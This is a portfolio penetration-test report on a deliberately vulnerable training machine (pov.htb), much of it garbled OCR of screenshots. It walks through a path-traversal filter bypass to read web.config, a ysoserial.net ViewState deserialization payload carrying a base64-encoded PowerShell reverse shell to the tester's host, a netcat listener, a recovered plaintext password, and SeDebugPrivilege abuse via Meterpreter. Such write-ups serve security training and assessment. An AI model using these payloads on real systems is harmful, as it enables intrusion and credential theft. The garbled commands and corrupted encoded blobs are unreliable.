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1 Portfolio Use & Disclaimer

This report is provided as a portfolio sample to demonstrate penetration testing methodology,
technical writing, risk communication, and remediation planning.

The assessment described herein was performed against a deliberately vulnerable training
environment intended for educational use. The target system represents a simulated client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts

Assessor Contact

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary

This assessment was conducted by Joe Thompson as a network penetration test of a simulated
Windows server environment hosted at 10.129.230.183 (pov.htb). The target exposed a single
Microsoft IIS 10.0 web server. Testing was performed using a black-box approach without prior
knowledge of the environment.

3.1 Approach

Joe Thompson performed testing using a black-box approach, targeting the single exposed service —
a Microsoft IIS 10.0 web server on port 80. Testing began with web application enumeration, virtual
host discovery, and manual inspection of all functional endpoints. Vulnerabilities were chained from an
unauthenticated external position through to full SYSTEM-level access.

3.2 Scope

The scope of this assessment included the externally accessible host 10.129.230.183 (pov.htb). Testing
covered all services accessible at the target IP.

In Scope Assets

Asset Type Description

External Host (pov.htb)

Web Application http://pov.htb — IIS corporate portfolio site

Web Application http://dev.pov.htb — ASP.NET developer portfolio

3.3 Assessment Overview and Recommendations

During this assessment, Joe Thompson identified 4 security findings enabling full system compromise
from an unauthenticated external position. The findings include 1 critical-risk finding, 2 high-risk
findings, and 1 medium-risk finding.

Virtual host enumeration discovered dev.pov.htb, an ASP.NET developer portfolio site. The site's CV
download endpoint accepted a filename in a POST parameter without adequate path validation. A
filter blocking ../ traversal sequences was bypassed using ....//, allowing arbitrary file reads from
the server. Reading web.config exposed the ASP.NET ViewState validation key, decryption key, and
algorithm settings. With these keys, ysoserial.net generated a malicious serialized payload that was
submitted as the __VIEWSTATE parameter, triggering remote code execution and a reverse shell as
sfitz.

Post-exploitation enumeration on sfitz's account found Documents\connection.xml — a PSCredential
XML export encrypted with sfitz's DPAPI key. Decrypting it within sfitz's session yielded plaintext
credentials for alaading. RunasCs.exe was used to spawn a shell as alaading, who held
SeDebugPrivilege. A Meterpreter payload was uploaded and a session migrated into 1sass.exe, which
runs as NT AUTHORITY\SYSTEM, achieving full system access and both flags.
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Immediate remediation priorities include removing the path traversal vulnerability and rotating the
compromised ViewState keys, removing the PSCredential XML file and rotating alaading's password,
and revoking alaading's SeDebugPrivilege.
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4 Network Penetration Test Assessment
Summary

Joe Thompson conducted testing from the perspective of an unauthenticated external attacker with no
prior knowledge of the target environment. The entire attack surface was a single IIS 10.0 web server.
Testing chained a path traversal LFI, ASP.NET ViewState deserialization, DPAPI credential decryption,
and SeDebugPrivilege abuse to achieve full SYSTEM compromise.

4.1 Summary of Findings

During testing, Joe Thompson identified 4 findings that present varying levels of risk to the assessed
environment. In addition, 0 informational observations were noted which, while not representing
direct vulnerabilities, highlight opportunities to further improve overall security posture and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical, 2 High and 1 Medium vulnerabilities were identified:

2

Critical High Medium Low Info

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report.
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Severity Level

9.8 (Critical)

7.8 (High)
7.5 (High)

5.5 (Medium)

Finding Name

ASP.NET ViewState Deserialization with Known Cryptographic
Keys Enables Unauthenticated Remote Code Execution

SeDebugPrivilege Assigned to alaading Enables Process
Migration into SYSTEM Context

Local File Inclusion via Path Traversal Filter Bypass in CV
Download Endpoint Exposes ASP.NET ViewState Keys

Hardcoded Encrypted Credentials Stored in PSCredential XML

Joe Thompson

File Enable Lateral Movement

POV
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5 Internal Network Compromise Walkthrough

During the assessment, Joe Thompson chained a path traversal LFI to recover ASP.NET ViewState
cryptographic keys, used those keys to execute a deserialization attack for initial access, decrypted a
stored PSCredential object for lateral movement, and abused SeDebugPrivilege to migrate into
Isass.exe for SYSTEM-level access. The walkthrough below documents the successful attack path and
does not represent all vulnerabilities identified during testing.

Any issues not required to achieve compromise are documented as standalone findings in the
Technical Findings Details section and ranked by severity.

5.1 Detailed Walkthrough

Joe Thompson performed the following to fully compromise pov.htb.

1. Performed network enumeration — single open port: HTTP (80), Microsoft IIS 10.0; banner
confirmed pov.htb hostname

2. Enumerated the web application and ran vhost fuzzing — discovered dev.pov.htb (ASP.NET
developer portfolio); CV download endpoint identified as accepting a direct filename parameter in

POST body
3. Tested file download endpoint for path traversal — ../web.config returned blank (filter
active); ....//web.config bypassed the filter and returned full web.config with ViewState validation

key, decryption key, and algorithm settings

4. Generated ASP.NET ViewState deserialization payload using ysoserial.net on a Windows VM with
recovered keys; embedded base64-encoded PowerShell reverse shell; submitted payload as
__VIEWSTATE parameter; shell landed as sfitz

5. Enumerated sfitz home directory — no user flag on Desktop; found Documents\connection.xml
(PSCredential XML); decrypted via Import-Clixml/GetNetworkCredential() within sfitz session;
recovered alaading:f8gQ8fynP44ek1m3; transferred RunasCs.exe; shell as alaading; user flag
retrieved

6. Checked alaading token privileges — SeDebugPrivilege enabled; generated Meterpreter reverse
TCP payload with msfvenom; uploaded and executed on target; migrated Meterpreter session into
Isass.exe (SYSTEM process); dropped to shell; root flag retrieved

1. Network Enumeration
A full TCP port scan was performed, followed by a detailed service scan:

sudo nmap -p- --min-rate 1000 -T4 10.129.230.183 -oA TCP_allports

ports=$(grep open TCP_allports.nmap | awk -F/ '{print $1}' | tr '\n' ',"' | sed 's/,$//")
sudo nmap -p $ports -sC -sV -vv -oA TCP_detailed 10.129.230.183

A single port was open: HTTP (80) running Microsoft IIS 10.0. The HTTP title confirmed pov.htb as the
hostname. /etc/hosts was updated before continuing.

2. Web Enumeration and Vhost Discovery

Browsing to http://pov.htb displayed a simple corporate portfolio site:
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Virtual host enumeration was run against port 80 while the main site was reviewed:

ffuf -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' \

-w /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-5000.txt -ac

—(parallels@kali-gnu-1inux-2023)-[~/Documents/HTB_Boxes/retired/Pov]
% ffuf -u http://pov.htb/ -H 'Host: FUZZ.pov.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-topimillion-5000.txt -ac

S AU
AR N e ANE
NN NN NN N
NN NN NN AN R N
NN NN NN NN
AV NALL NS AV
v2.1.0-dev
:t Method : GET
:: URL : http://pov.hth/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-toplmillion-5800.txt
:: Header : Host: FUZZ.pov.htb
:t Follow redirects : false
:t Calibration : true
:r Timeout : 10
:t Threads t 4R
:: Matcher : Response status: 200-299,301,302,307,401,403,485,500
dev [Status: 302, Size: 152, Words: 9, Lipes: 2, Duration: 1@65ms]

:: Progress: [4989/4989] :: Job [1/1] :: 578 reg/sec :: Duration: [@:08:09] :: Errors: @ ::

dev.pov.htb was found and added to /etc/hosts. The subdomain hosted an ASP.NET developer
portfolio site:

The biography on the site explicitly referenced poor coding practices — a deliberate signal to look
closely at the application's functionality:
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~ » C @ O A NotSecure http lev.pov.htb/portfolio/

KaliLinux & KaliTeols = KaliDocs X KaliForums ¢ Kali NetHunter = Exploit-DB Google Hacking DB OffSec

ASP.Net

s()

AL programing', gex:
»_c‘.:l('planning'. W,

#skd11( ' visual design’, ‘75, *
(style="sargin: ") }

wy{ personal="skills"]

.skills

sk 11(" creativity’, 98", (creative
soki11(*eareing’, ‘53K, * (1wl &
k11" commmication’s "B (1%

Designe for Everyone Web Layouts Bootstrap Framework

The 'Download CV' button was functional and made a real POST request. It was captured in Burp Suite:
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i e . QO 2 NotSecure http://dev.pov.htb/portfaliof o g O & F =

KaliLinux & KaliTools = KaliDoes ¥ KaliForums e\ Kall NetHunter = Exploit-DB = Google Hacking DB OffSec

Portfolio

the button

Burp P t Intruder er

Intruder ate Colla ence Comparer

The POST body contained a file parameter referencing cv.pdf directly — a path traversal candidate
on an IIS server where web.config is the primary configuration file target.

3. Local File Inclusion via Path Traversal Filter Bypass

Replacing the file parameter value with ../web.config returned a blank response, indicating
the ../ sequence was being filtered:
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Intruder Collaborator Comparer Organizer

Follow redirection * Burp Al

Request Response

Pretty

8 ntent-Lengt
Origin: htt

HEJG

UuLmNicdr

A common single-pass filter implementation removes ../ once per occurrence. The doubled
form ....// exploits this: the filter strips the inner ./, leaving ../ intact in the result. Replacing the
parameter with ....//web.config returned the full file:

hboard

% Burp Al

Response

CF576813C3;

The web.config response contained the ASP.NET ViewState configuration:

validationKey: 5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFAIEDE22213BECEB. . .
decryptionKey: 74477CEBDD@9D66A4DAA8CEB5082A4CF9A15BES4A94F6F80D5E822F347183B43

validation: SHA1l
decryption: AES

4. ASP.NET ViewState Deserialization — RCE as sfitz

ASP.NET ViewState serializes page state into a hidden form field, signs it with the validationKey, and
optionally encrypts it with the decryptionkey. When both keys are known, ysoserial.net can
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generate a malicious serialized object. Submitting it as __ VIEWSTATE triggers deserialization during the
request lifecycle, executing arbitrary commands as the application pool identity.

ysoserial.net is a Windows x86 binary. A Windows VM was used for payload generation. A benign
test payload was built first to confirm the tool and workflow:

\ysoserial.exe -f BinaryFormatter useDelegate -0 base64

Ps c:\users\joe\Downloads\ysoserial-1dba9cuul6ba6e79b6b262b758fa75e2ee9008e9\Release> .\ysoserial.exe BinaryFormatter TypeConfuseDelegate basesu ping 127
AAEAAAD/////AQAAAAAAAAAMAQAAAELTeXN@ZH@SIFZLCanb2d9NCqujAuMCwgQJVsdHVyZTluZXV@(mFSLCBQdWJSEWNLZXLUbltLb]llNZthNMlN]ESMZRLMDgSBQEAAACEAVNSC3RlbSSDblxsZNN@aw9ucy5HZN51cmL]LLNVCHRLZFNL
dGAXW1tTeXNBZWOuU3RyaWsnLCBtc2NvemxpYingVmVyc2lvb jO6L jAuMCLUWLCBDAWxX8dXILPWS LdXRyYWnsIFB1YmxpY8tleVRva2VuPWI3N2E1YZU2MTkzNGUWODLAXQQAAAAFQ291bnQIQ29tcGFyZXIHVMVyc21vbgVIdGVtcwADAAYI jQFT
eXNBZWeuQ29sbGV jdGLvbnMUR2VUZXJIpYy5Db21wYXJIpc29uQ29tcGFyZXIgMVtbU31zdGVtLINBcmluZywgbXNjb3JsaWISIFZ1lenNpb2U49NCUWL JAUMCWOQ3VSdHVYZT1uZXVecmFsLCBQAWISaWNLZX1Ub2t1bj1iNzdhNWM1N]ESMZRLMDGS
XVOIAGAAAAIAAAAJAWAAAATAAAAIBAAAAAQDAAAA JQF TeXNOZWOUQ295bGV jdGLVbNMUR2VUZXIpYY5Db21wYXIpc29uQ29teGFyZXJgMVtbU3LZdGVEL LNGEmLUZy wgbXN jb3JsaWIsIFZLenNpb249NCUNL JAUMCHEQ3VSAHVYZT1UZXVOCFS
LCBQdWJIsaWNLZX1Ub2t1bj1iNzdhNWM1N jESMZRLMDg5XVOBAAAACLO jb21wYXIpc29uly ITeXNBZWOURGY sZUdhdGVTZXIpYWxpemFeaWousSGos ZGVy CQUAAAARBAAAAAT AAAAGBGAAABEYYY BaWSnIDEY Nytinl jAUMQYHAAAAAZNtZAQFARAA
I1N5c3RLbS5EZWx1Z2FBZVNLcmlhbGl6YXRpb25Ib2xkZXIDAAAACERLDGVNYXR1B211dGhvZD; QMDAZBTeXNBZWOURGVsZWdhdGVTZXJpYuxpemFBaWIuSG9sZGVyKBR1bGVNYXRIRWS8cnkvU31zdGVEL LILZmx LY3Rpb2UuTWVt
YmVySW5SmbINlemlhbGLE6YXRpb25Ib2xkZXIvU31zdGVtL1ILZmx1Y3Rpb2U4uTWVEYmMVY SWSMbINTemLhbGLEYXRpb25Ib2xkZX TICAAAAAKIAAAACQOAAAAECAAAADBTeXNO ZWBURGYSZWdhdGVTZX IpYWxpemFBaWIuSGISZGVYKORLbGVNYXRL
RW58cnKHAAAABHR5CGUIYXNZ ZW1ibHKGAGFyZ2VBENRhcmdLdFR5CGVBC3NLbWIseQ50YXInZXRUeXBLTmFtZQptZXRob2ROYW1LDWRLbGVNYXRLRWS8cNKBAQIBAQEDMFN5C3R1bSSEZWX1Z2FOZVNLemLhbGl6YXRpb25Ib2XKZXIrRGYs ZWdh
dGVFbnRyeQYLAAAASAJTeXNOZWOURNVUY 2AZW1tTeXNOZWeuU3RyaWSnLCBtc2NvemxpYiwgVmVvyc2lvbjeeL jAumcuwLCBDdWxadX JLPWSLdXRy YWws IFBLYmxpY@tleVRva2VuPWI3N2ELYZU2ZMTKZNGUNODLdLFtTeXNOZWOuU3RyawsnLCBL
c2NvcmxpYiwgVmVyc2lvb jOeL jAuMCUwl CBDdWx8dXILPWSLdXRy YWwsIFB1YmxpY@tleVRva2VuPWI3N2E1YZU2MTkzNGUWODLALFtTeXN8ZWOURGLhZ25vc3RpY3MuUHIVY2VzcywgU31zdGVtLCBWZXIzaWduPTQuMCUWL jJASTEN1DHR1CmUS
bmV1dHIhbCwgUHVibG1 jS2V5VGIrZWU9Y jc3YTVjNTYXOTMOZTALOV1dBgWAAABLbXN jb3JsaWISIFZlcnNpb2u9NCUwL jAuMCwgQ3VsdHVYZT1uZXVecmFsLCBRdWIsaWNL ZX1Ub2t1bj1iNzdhNWHM1NjE5MZzRLMDg5CgYNAAAASYNSc3R1bSwg
VmVyc21vbjOBLjAuMCUwLCBDdWxBdXILPWSLdXRyYWwsIFB1YmxpY8tleVRva2VuPWI3N2ELYZU2MThZNGUWODKGDGAAABPTeXNBZWOURGLhZ25vc3RpY3MUUHIVY 2V ZcwY PAAAABVNGY X JBCRAAAAAECQAAACITeXNOZWOUUMVNBGY jdGLvbisSN
ZW1iZXJJIbmZvU2VyaWF saXphdGlvbkhvbGRlcgcAAAAETIF tZQXBCc3N1bWIseUShbWUJQ2xhc3NOYWLLCVNPZ25hdHVyZQpTaWduYXR1emUyCk11bWJILcLRSCGUQR2VUZXIPY@FyY Z3VtZW58cWEBAQEBAAMIDVNSc3R1bS5UeXB1W1e JDWAAAAKN
AAAACQUAAAAGFAAAADSTeXNOZWOURGLhZ25ve3RpY3MUUHIVY2VZeyBTdGFydChTeXNeZWOuU3RyaW5nLCBTeXNO ZWOUU 3RyaW5nKQYVAAAAP NS c3R1bSSEaWFnbm9zdGL jcy5Qem9j ZXNZIFNOYX JOKFNSC3R1bS5TdHIpbmcSIFNSC3R1bS5T
dHIpbmcpCAAAAA0BCgAAAAKAAAAGFgAAAAdDD21wYXILCQWAAAAGGAAAAALTeXNOZWOuU. AATSW58MzIgQ29tcGFyZShTeXNOZWOuU3RyaW5nLCBTeXNOZWOUU3Ry aW5SnKQYaAAAAMLNSc3R1bS5IbnQzMiBDb21wYXILKFNSc3R1
bS5TdHIpbmcsIFN5c3R1bS5TdHIpbmcpCAAAAAOBEAAAAAGAAAAGGHAAAHFTeXNBZIWBuQ29t cGFyaXNvbmAxW1t TeXNOZWouU3RyaW5nLCBtc2NvemxpYiwgVmVyc2lvbjeeL jAuMCUwl CBDdWx8dX JLPW5SLdXRy YWwsIFB1YmxpY8tleVRva2Vu
PWI3N2E1YZzU2MTKZNGUWOD1dXQKMAAAACGKMAAAACRYAAAAIFGAAAACL

With execution confirmed, a reverse shell payload was built for delivery. The PowerShell one-liner was
base64-encoded:

+ Burp Al

Response
P
H
U ! t L Linux x
A xhtml+xml
A
A

p1 Emm‘hnq q br
( muram Type:
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M = revshells.com o ® A4

Theme | Bark

Reverse Shell Generator

IP & Port Listener @ Advanced

P I 10.10.16.60 Port +1

37 nc =lvnp

Type nc
Copy
Reverse Bind MSFVenom HoaxShell Assembled
oo A e N * -~~~ 8
FHF system
PHP passthru ,# powershell -e
JABjAGwAaQBLAG4AdAAGADAATABOAGUAdWATAEBAYgBGAGUAYWBOACAAUWB5AHMADAB1AGRALgB
PHP” OAGUAdAAUAFMAbWEj AGSAZQBOAHMALgBUAEMAUABDAGWAaQB1AGAAdAAOACIAMOAWACAAMQAWAC
4AMQAZAC4ANgAWACTALAASADAAMAAXACKAOWAKAHMAdABYAGUAY(QB tACAAPQAGACQAYWBSAGKAZ
PHP popen QBUAHQALgBHAGUAJABTAHQACGE LAGEADQAOACKAOWBDAGIAEQBRAGUAWWBAAFBAJABIAHKAdABL
AHMAIAA9ACAAMAAUACAANGATADUAMWALAHWAIQB7ADAATQA7AHCAABPAGWAZQAOACGAIABPACA
PHP proc_open APQAgACQACWB@AHIAZQBhAGOALGBSAGUAYQBKACgAJABIAHKAJAB LAHMALAAGADAALAAQACQAYg
BSAHQAZQBZAC4ATABLAG4AZWEOAGGAKQAPACAALQBUAGUATAAWACKkAeWATACQAZABhAHQAYQAGA
Windows ConPty DOAIAACAEAAZ(OB3ACOATWBiAGOAZOBjAHQAIAAtAFQAEQBWAGUATgBhAGBAZQAGAFMAE(QBZAHQA
ZQBtAC4AVABLAHgAdAAUAEEAUWBDAEKASQBFAG4AYWBVAGQAaQBUAGCAKQAUAECAZQBOAFMADAB
PowerShell #1 yAGkAbgBnACgAJABiAHKAJABLAHMALAAWACWATAAKAGKAKQATACQACWBLAGAAZABIAGEAYWBIAC

AAPQAgACgAaQB1AHgGATAAKAGQAY(QBBAGEATAAYAD4ATgAXACAATAAQAEBAdQBBACAAUWBOAHT A

PowerShell #2 QBUAGCAIAApADSAJABzZAGUAbGEKAGIAY(QBj AGSAMgAgADOATAAKAHMAZQBUAGQAYgBhAGMAawAg

PowerShell #3

PowerShell #4 (TLS) Shell sh Encoding None

PowerShell #3 (Baseb4) Raw Copy

The final ViewState payload was generated with the full key set from web.config:

.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell -e <BASE64>" \
--path="/portfolio" --apppath="/" \
--validationalg="SHA1" \

--validationkey=5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFALEDE22213BECEB. . .
--decryptionalg="AES" \
--decryptionkey=74477CEBDD@9D66A4D4A8BCEB5082A4CFOA15BES4A94F6F80D5E822F347183B43
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Type[onfuseuelegate

PS C \Users\]oe\DownLoads\ysoserlaL ldbagcuulﬁhase79b6Dzﬁzb?ssfa?sezeegaeaeg\ReLease>

.\ysoserlal exe —p viewstate
1RO

hAGMAaWAYACKAOWAK
AHQALgGBD

AHMAdA AGUAbgBNAHQAaAADAL

GujpWroovYdvonsYgZfWTINec3CbkSusIOGHF3B28IQWAX1o3pKDIVPRGkeH7Th95W3kCAucZcuxdyMNTXneaxzXy%2B%2FaUusK7N6bUIyzZFBPIbvkepgUKH3QPr3IMBKLjPNbWoIFizmrqCUuYZ1bMLKZPOKW%2BpJ jusfSiXGo%2Fg8iRKBXQYT
bTCXHhTW198pojNULSBRFNCGMSQACUkCtES%2BiEHa8zSIPsi7h708sQzwY%2BKU8Da%2F IndUKEZSROA%2BWAGZCTbVzCtuftz%2FMUZE6hWN1AaTF8Zi0pT081ggIORFNy%2BeAIDZF%2FtGe TCydNWiiKucW3ICUx%2FOvGANXtLTdhKxY1jY1
3vt9zthujRyxOUeMS6zBafV129MAWEeSFwj%2FCq2%2Fnk%2BATTFTESMPsRH8bsTDXSwbaRESTPEUTOVSHMS6L%2FoCkBMRGMV0%2BHWV%2BXGLhVB8%2FtAxnrTGNt5uOKw LNttHsqs1PGEFP%2B3g0hLDrTble%2FcIMYgBI9pSnpNOjsSyli
NAhxIoXqgeSxNBmIBOLpPHjRXTFXJIh%2B726CUQFSWS1KIUTFx%2BqFneEBg%2BALEZ3pFMXX6ZcXyXVnn282YEZhFyy6]eQBfxdn6EFfuWcSiR%2BfifxTro30BSUhJ9SgpF91zsnxCmGU%2FxzhwycgaN8GpfueEmMh8A9Qp3fZTNhN3t1L2H25%2B
Dt2ed1Lgs%2FgvVKRX5NREL3xGwOyQSK7nckoOtZoZXgpJb8oBoaMeiUIiX JWEBXGEB]3k8tyuXhmAU9iovDEoktzY2wPITVQHUEU%2BZ7ThCgrE6YJUBEHIOeEWUBgISX82bABSI6 jDUWE9qGXWNIBWOBRZ61eKsMYUBHPXhut6BH jXFfSben7zB
CcsE0%2B200f5KTad6bUeeesiBiphBzzGzS1QYZ%2FN8SXHLefVYULCPALFYPPBUSOUATF 07 1sXHWO10%2B8dNNFD5H%2BNYZXQQHMPUBYBhfG57QAWKWKKYFaqzKpOhPpZWiZN%s2B9b2sNaYm]vkhun fUs2F 9Vuf%2FWQxnXvotDsUhVZEKRE9XSg
xrLsFelveglE%2FUjXBIn13UrgnZPFEPoG2ul 6905Tpbwcvmi JOyqMQTnOh7Fh7UjICd f%2Bv8et25ArWXP262Tokiky tqparlcOiRaYoYqds2FyYZqtyDAIS5ENLHABNTPZhnL zXHgrGFU cHqX t jDZ650sDFNIUGAa6HOLQ661EQhOF 1RyWaXNB
bCr20MqYcgYBZQoAd2tEzGET%2BkKACCZIEATEMWwvXp%2BTpxOKBX9YP29AWd8i%2BGdLsVLziArSzNp5cUSUy%2FPmO LWUBKqcyouepVUMCWaPQUINHCC%2BsC5sQUSTCMs 6wk9xQUUr212NkOFqRHUkk je3iNuB26e3yVG6ud2IPgC1IwG8UL
KvYxK3DwzquNQW388ZPtITEFtGTqIcMVVFKLPPYK3h%2B5a200rCzjIFUKNQ5J3PrHalsy10ZrpRIaTuddiUAS5zmZxgg2AadcQOKRV5 LDDOTa2CFIX0rxYV6nIEe8D2BUURUKhGBEPZICgd jJGFMXHY0 2vqMTexe9tclu3dws2FrixoY%2BggtdYP
WNtpvLlF6UEN6Y9E8aUA%2BQipLaQfnD5aH6%2BpF5DVCI61tLIKYOX7%2FVvBBIY tc6gPSEWLRI%2BJSjh9zAX8NZ8XKKBTWilptgYyNIDSauOY T%2FUQ7nAHGFex3ISu2u0i jvPSZDUZ3Fk3gZaDMnwJAMNDQOFQIGSEY oUnbmZA%2F xYdlWle
LCYCT7VWy9%2Bmaxmaaglc6IyOXFRI63cQGbclzxhmf1C1mvxOkpunSmuk8I5hNV%2F2emItVIKiH6UgUYAVAZIGPWINA90LQUZ9qI10WtndCORbul imKFFXPrgKdWtL7JmASxezS0Zav1iDzT3Bp3jUumeCbuggltNggNnWZ ZFVFMiSYtrzss2Bve
1ak2tsmkROUAbZyWxqZ2ivPUpX1ILAX5BCr jdCcZWd%2B38aHSDile9S30YIBNO%2BVIZ jOXUKbFgdo jmCTFuKjPjiALjDU6NIUZPZ1oHYZANhRIV2VBESsaCD5%2FoaU7QALMRHKWZLYF8JJIPxmp37UKcIOSbRFzo8UrzcUSCjX6KeT%2FsABcd
Vr2U%2Fmmy 6%2BhXovbY3eT7tYnHvDsQ6pthrbuVGTrg3wckasxbuB7av3jX5CZoUX55681YDovERNzvNKy L 6mi1Y%2FAF 2GpdcndjWFYFn8uhKu9qBg8nW3Th8dm%s2F9550eN j TzuaMVTOML j 2Hbi3xE8phdg TO8otubQp1tyFvj jqU17nF8VIS
jhuxLRp3g9pX0YQInxsGpKwKB5efdCsaNIWQG3DXAUNLSVZDYb1i2aRA6TYHTG%2FUerWDIONULWA jPF%2F 5qvDUEpPTrKd8s9tt TUMySH6R0YE7TxUfbEAP jFt35dG%2BdUAKLFEUYbhaCeG%2F1xcOL 3WpcpAZKUbeiqqoguHpEUS%2BmMTKUX 95
f80A1FLVIVS JAVLPVYBrrk%2BMjhqm2RR5XR3eTuFB2y tU9hE jMWpJIYNUEI1L6votpVseCcKolcg9s@orIW@osIdlfCKGOhkKeKVepGa62Jhj%2BnZG5MeiouyzdVasvqLlB8zy2u3%2Fcvin21ZayiJIE9b00ieV%2EB3FURNXP1YvXeOfCSpD]Id
DjuhIpTxcIeKICuk3vy]j7vnGL1JIg%2BSIeZeQfXetNv1kAWWBEWXuxnhwHiS5MtotkkKclsC%2FVB3yuGeqiQu8zZdZmDMs8bZy 7TEBOZU%2BIDeR%2F6rBRIPbKGLPjLXxtAN2%2Bua? jNkUog5KkMFCHt ECHNOZrqlgU6rEUF%2Bgtxz1WoB%2BZL
9EbYitPusXqfKCDNONGBThn89VoBLLM3DXXPrXZw8nVce2Poo880zpz%2BqJ78sULLhP%2BZbPf jF1RIWIXSENTEQfdplCnézUV5vily E%2ByDNBTOL jMpXNn86mB1KE2X3c3ygyn%2BFjRXXeyBL1z6b7sD3trLIzn9Y0jKFReI71DpZpZ5cHTNH
H51raB88PSPBhgv5865%2F 1h6SQrAHXVH%2FT3tUAUCAPNbBgdpz%2F%2F%2B0%2BWO2SNSNMAbMIT3W0s1eaiftgOEbNMLxqM fUZQFBbhQxap9PQilNQY3ESFHZTFd%2FC62notRPieL FWHF3HQo7%2FBEM7dmx2U7RN%2BfdqeStW7pRASbEFg
A9gxhZwW8whQzP18Vb2ZdrwtDvx%2B5h34ATCUKMIRG]ncr5GBp2MYZYg2wK6 3LPZWMKAGXEKrZctG%2FBinQQeIlyyp6XXthEmwBtyVYXD1bENIoas0%2B5SWHNKrDud5C0Z5qInNL jrtTO3KNH7cBQNaV7nSZAGrVKVTCfsb%2BDEILOtVivVe3ys
rOnMjuzyNOsTqmOLh%2FRL8H7xn%2FACFf9gLATHUhMY Y uiU3XtGIVAHXFIAOWUQXNTHgUYFRL1WVY qVeSQdF2RAZI1wzm6AL1%2F%2FUg]pXiWJekBa2Y%2FcZMMIN708NgBRZIyoh81i7tVn21XyqXeXeasl%2FGLEVVXCRX128UMW1YJJ2gSRCG
J1Z8ROt1gtW6tUOPZzNz5k5PcDV%2BzxASAYNUGB6XKaThlPU%2F75acvv8ZT910xLZ8QLE79EWgBOPVhbpvcLYPy%2F11n1bLOUCHFNUTZ%2FMgJuLBmHYROWdZF2XSb5R%2BT2jnvrK8frglNCErbCPeRLqTqIfWOq81k jSpISWra%2FWFnk8GH
ZAYoIUQ8SirF16L j8bRAOVBESIH2Sz80ZrxHPCSS2M]sZCyCjx0nTLcFydHvDv1IN8BWaHVMC%2FIRucUqIke79%2BzFZWzIqu2X0UOel in7 jq8u6nPVUMLESF twyy1Bp8x0DEPiINzV jpaIMnWQhizS87alePwiu7Sctc5I16H3%2B53KATXvQIFd
NQRYMyL2GnB02g201HSxmZ1]jZ1KZrhouksSbnnuDzFfK%2By11HVHSXrAlxdFVT2YOMRXcKqd8gBLdjr8BI4uUSPS%2BufVATHS2B ja6ifriu%s2F6t8Qg83uMyYUBTYFYHTpIbKcYeY JUVEN JTE3MOY2091j2%2BHsbOZVIrs2BzsWA%2BUIUyebCs
2cSaDW%2Ba%2Bb8uWS52I%2BNxDgROUe30DXUTiUL%2FFE jXS5RT1U9UC1%2FRgPXuUqJIyRVPgJIEZG3%2FFBUCFNBruVp3DQ1%2B1b2%2BbVp310biFtBTuedbfil j17x2F1LVv8bWKBOBEE L 59HHVeiCpQeDNEVIVE2BNtDOqPGKKhTZ%2B7ZM7cL
35pHNr99Jrullégws7CBrie8vUHR2JUbUVFV j6myspP182TgBUc%2BoLFhZffikt11QchtpvfaNXx3DfX2z5XvAsyxf1UydWqin%2FZgipnW2ZHsIiCIPNUZWrQfRQYEOPONBHri8zvroJBVXkvQMuqDLIING659IzasSreyikytltka%2BGnL6yIbhZ
%2BxtFF80FrAje8siAlbkRBZAe1%2B0U%2B0aWakg6Zvglomd77p%2BYq00CtgiC381iqE%2FOAG2]51ZCeIhZ8e97Irpvhr%s2BQhLGnjo8TIUIdtGktyNBKNdX%2Bn62FGUR6IZW2QGCHPzaPhhvlj5bLA5zh80v3UQKKaxCbOZhsUm6ZIxMeyH
WQUDzGLlzcF3y9ky%2FpdGVCET91jSAEUBY IN60di%2BwNZbWL%2FYaKcM%2BtOPrH8xpASTTzcsdMzsuo0jdSSTFEptg5y7ZICUPasTtOPE%2FHKEPVFrhEU%2FqZCpDRrimwPmyviy ELACTrXvURBRBNez%2BWi5MIXphwGQ%2BRhAEVUYOAPZhL
WKHYPUgN'0Zru385HNTrVEZ76ze9WZELPtOtCdy%2FASxfpsLuFgbZL s79107R91gPG2MYxyIcOtUBR1INOYYXHHHaeMSWXCWKUGOZXT5%2FN6M] 3IBA9V3IRYUGPx5tKauNN8x z6DPIIKof JQM1IRG%2FU3553ZTXHNG50UX3BjoDES8gePohd

The generated payload was pasted into Burp Repeater as the __ VIEWSTATE parameter value and sent:

Request

portfolio,
pov.ht
MD“i]]'

.':':
ntent- Lnnqﬂ
Hrlqln- htt
Referer:

Upgrade-In
Priority

STFHAUW

A netcat listener was running on port 9001:

—(p elsé 023 )-[~/./HTB_Boxes/retired/Pov/viewgen |

. :.1 WTaD ne -n 1.1._] o9pe1

listening on [any] 9081

The reverse shell connected as sfitz:
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(base) r—f(parallels® lali-gnu-Linux-2023)-[~/Documents/HTB_Boxes/retired/Pov
L§ rluwrap nc -nlvp 9081

listening on [any] 9881 ...

connect to [10.10.16.60] from (UNKNOWN) [10.129.10.186] 49671

whoami

i@u{sFitz|
PS C:\windows\system32\inetsrv> ||

5. PSCredential XML Decryption and Lateral Movement to alaading

sfitz's Desktop contained no flag:

A omE M g EE A EErEEAr far ) R ke EAR & GRS A BT A B R en s e

Ps C:\users> dir

Directory: C:\users

Mode LastWriteTime Length Name

d—— 18/26/20823  4:31 PM .NET v&.5

d—— 18/26/20823 4:31 PM .NET v4.5 Classic
d— 10/26/2023  4:21 PM Administrator

d 10/26/2023  4:57 PM alaading

T — 10/26/2023  2:02 PM Public ‘F‘“ux
d 12/25/2823 2:24 PM sfitz

PS C:M\users> cd sfitz
JPS_Ci\users\sfitz> cd deskton
PS C:\users\sfitz\desktop> dir

PS C:\users\sfitz\desktop> |j

A directory listing of the home folder revealed an unusual file:
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PS C:h\usershsfitz> tree . /F
Folder PATH listing
Volume serial number is @899-6CAF
C:\USERS\SFITZ

??2273D Objects
?2??Contacts
??77?Desktop
?77?Docymants

? connection.xml
?

?77??Downloads
??7??Favorites

? ?  Bing.url

? ?

? ?7?7Links
?7??Links

? Desktop.lnk

? Downloads.lnk
?

???7Music

???7?Pictures

???775aved Games
????5earches
????Wideos

- - % = -a . m

